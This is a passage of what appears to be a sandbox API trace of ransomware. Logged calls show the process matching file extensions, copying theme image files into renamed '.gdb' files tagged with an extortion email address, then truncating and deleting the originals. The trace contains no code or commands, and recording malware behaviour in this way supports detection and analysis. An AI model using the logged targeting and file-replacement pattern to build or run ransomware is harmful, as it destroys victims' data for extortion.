76 [0124.017] lstrlenW (lpString=".dbf") returned 4 [0124.017] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0124.017] lstrlenW (lpString=".1cd") returned 4 [0124.017] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0124.018] lstrlenW (lpString=".jpg") returned 4 [0124.018] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.018] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0124.018] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0124.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0124.681] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=20371) returned 1 [0124.681] CloseHandle (hObject=0x1a8) returned 1 [0124.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0124.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0124.681] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0124.681] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0124.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0124.682] GetLastError () returned 0x0 [0124.682] ReadFile (in: hFile=0x1a8, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x4f93, lpOverlapped=0x0) returned 1 [0124.684] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x4fa0, lpOverlapped=0x0) returned 1 [0124.686] ReadFile (in: hFile=0x1a8, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0124.686] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0124.686] SetEndOfFile (hFile=0x204) returned 1 [0124.686] CloseHandle (hObject=0x204) returned 1 [0124.686] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0124.686] SetEndOfFile (hFile=0x1a8) returned 1 [0124.687] CloseHandle (hObject=0x1a8) returned 1 [0124.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.688] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0124.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.688] lstrlenW (lpString=".doc") returned 4 [0124.688] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.688] lstrlenW (lpString=".docx") returned 5 [0124.688] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.688] lstrlenW (lpString=".pdf") returned 4 [0124.688] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.688] lstrlenW (lpString=".xls") returned 4 [0124.688] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.688] lstrlenW (lpString=".xlsx") returned 5 [0124.688] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.688] lstrlenW (lpString=".ppt") returned 4 [0124.688] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.688] lstrlenW (lpString=".zip") returned 4 [0124.688] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.688] lstrlenW (lpString=".rar") returned 4 [0124.688] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.688] lstrlenW (lpString=".bz2") returned 4 [0124.688] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.688] lstrlenW (lpString=".7z") returned 3 [0124.688] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.689] lstrlenW (lpString=".dbf") returned 4 [0124.689] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.689] lstrlenW (lpString=".1cd") returned 4 [0124.689] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.689] lstrlenW (lpString=".jpg") returned 4 [0124.689] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.689] lstrlenW (lpString=".doc") returned 4 [0124.689] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.689] lstrlenW (lpString=".docx") returned 5 [0124.689] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.689] lstrlenW (lpString=".pdf") returned 4 [0124.689] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.689] lstrlenW (lpString=".xls") returned 4 [0124.689] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.689] lstrlenW (lpString=".xlsx") returned 5 [0124.689] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.689] lstrlenW (lpString=".ppt") returned 4 [0124.689] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.689] lstrlenW (lpString=".zip") returned 4 [0124.689] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.689] lstrlenW (lpString=".rar") returned 4 [0124.689] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.689] lstrlenW (lpString=".bz2") returned 4 [0124.689] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.689] lstrlenW (lpString=".7z") returned 3 [0124.689] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.689] lstrlenW (lpString=".dbf") returned 4 [0124.689] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.690] lstrlenW (lpString=".1cd") returned 4 [0124.690] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0124.690] lstrlenW (lpString=".jpg") returned 4 [0124.690] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.690] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0124.690] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0124.690] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0124.690] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=32403) returned 1 [0124.690] CloseHandle (hObject=0x1a8) returned 1 [0124.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0124.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0124.691] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0124.691] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0124.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0124.692] GetLastError () returned 0x0 [0124.692] ReadFile (in: hFile=0x1a8, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x7e93, lpOverlapped=0x0) returned 1 [0124.694] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x7ea0, lpOverlapped=0x0) returned 1 [0124.695] ReadFile (in: hFile=0x1a8, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0124.695] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0124.695] SetEndOfFile (hFile=0x204) returned 1 [0124.695] CloseHandle (hObject=0x204) returned 1 [0124.695] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0124.696] SetEndOfFile (hFile=0x1a8) returned 1 [0124.697] CloseHandle (hObject=0x1a8) returned 1 [0124.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.697] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0124.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.697] lstrlenW (lpString=".doc") returned 4 [0124.697] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.697] lstrlenW (lpString=".docx") returned 5 [0124.697] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.697] lstrlenW (lpString=".pdf") returned 4 [0124.697] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.698] lstrlenW (lpString=".xls") returned 4 [0124.698] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.698] lstrlenW (lpString=".xlsx") returned 5 [0124.698] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.698] lstrlenW (lpString=".ppt") returned 4 [0124.698] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.698] lstrlenW (lpString=".zip") returned 4 [0124.698] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.698] lstrlenW (lpString=".rar") returned 4 [0124.698] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.698] lstrlenW (lpString=".bz2") returned 4 [0124.698] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.698] lstrlenW (lpString=".7z") returned 3 [0124.698] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.698] lstrlenW (lpString=".dbf") returned 4 [0124.698] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.698] lstrlenW (lpString=".1cd") returned 4 [0124.698] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.698] lstrlenW (lpString=".jpg") returned 4 [0124.698] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.698] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.698] lstrlenW (lpString=".doc") returned 4 [0124.698] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0124.698] lstrlenW (lpString=".docx") returned 5 [0124.698] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0124.698] lstrlenW (lpString=".pdf") returned 4 [0124.698] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0124.698] lstrlenW (lpString=".xls") returned 4 [0124.698] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0124.698] lstrlenW (lpString=".xlsx") returned 5 [0124.699] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0124.699] lstrlenW (lpString=".ppt") returned 4 [0124.699] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0124.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.699] lstrlenW (lpString=".zip") returned 4 [0124.699] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0124.699] lstrlenW (lpString=".rar") returned 4 [0124.699] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0124.699] lstrlenW (lpString=".bz2") returned 4 [0124.699] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0124.699] lstrlenW (lpString=".7z") returned 3 [0124.699] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0124.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.699] lstrlenW (lpString=".dbf") returned 4 [0124.699] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0124.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.699] lstrlenW (lpString=".1cd") returned 4 [0124.699] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0124.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0124.699] lstrlenW (lpString=".jpg") returned 4 [0124.699] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0124.699] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0124.699] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0124.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0124.700] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1347) returned 1 [0124.700] CloseHandle (hObject=0x1a8) returned 1 [0124.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0124.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0124.700] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0124.700] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0124.700] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0124.704] GetLastError () returned 0x0 [0124.704] ReadFile (in: hFile=0x1a8, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x543, lpOverlapped=0x0) returned 1 [0124.706] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x550, lpOverlapped=0x0) returned 1 [0124.707] ReadFile (in: hFile=0x1a8, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0124.707] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0124.707] SetEndOfFile (hFile=0x204) returned 1 [0124.707] CloseHandle (hObject=0x204) returned 1 [0124.707] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0124.707] SetEndOfFile (hFile=0x1a8) returned 1 [0124.708] CloseHandle (hObject=0x1a8) returned 1 [0124.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0124.708] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0124.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.709] lstrlenW (lpString=".doc") returned 4 [0124.709] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.709] lstrlenW (lpString=".docx") returned 5 [0124.709] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.709] lstrlenW (lpString=".pdf") returned 4 [0124.709] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.709] lstrlenW (lpString=".xls") returned 4 [0124.709] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.709] lstrlenW (lpString=".xlsx") returned 5 [0124.709] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.709] lstrlenW (lpString=".ppt") returned 4 [0124.709] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.709] lstrlenW (lpString=".zip") returned 4 [0124.709] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.709] lstrlenW (lpString=".rar") returned 4 [0124.709] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.709] lstrlenW (lpString=".bz2") returned 4 [0124.709] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.709] lstrlenW (lpString=".7z") returned 3 [0124.709] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0124.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.709] lstrlenW (lpString=".dbf") returned 4 [0124.709] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0124.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.709] lstrlenW (lpString=".1cd") returned 4 [0124.709] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0124.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.709] lstrlenW (lpString=".jpg") returned 4 [0124.709] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0124.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.710] lstrlenW (lpString=".doc") returned 4 [0124.710] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0124.710] lstrlenW (lpString=".docx") returned 5 [0124.710] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0124.710] lstrlenW (lpString=".pdf") returned 4 [0124.710] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0124.710] lstrlenW (lpString=".xls") returned 4 [0124.710] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0124.710] lstrlenW (lpString=".xlsx") returned 5 [0124.710] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0124.710] lstrlenW (lpString=".ppt") returned 4 [0124.710] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0124.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0124.710] lstrlenW (lpString=".zip") returned 4 [0124.710] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0124.710] lstrlenW (lpString=".rar") returned 4 [0124.710] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0124.710] lstrlenW (lpString=".bz2") returned 4 [0124.710] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0124.710] lstrlenW (lpString=".7z") returned 3 [0124.710] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0124.710] lstrlenW (lpString="C:\\Program 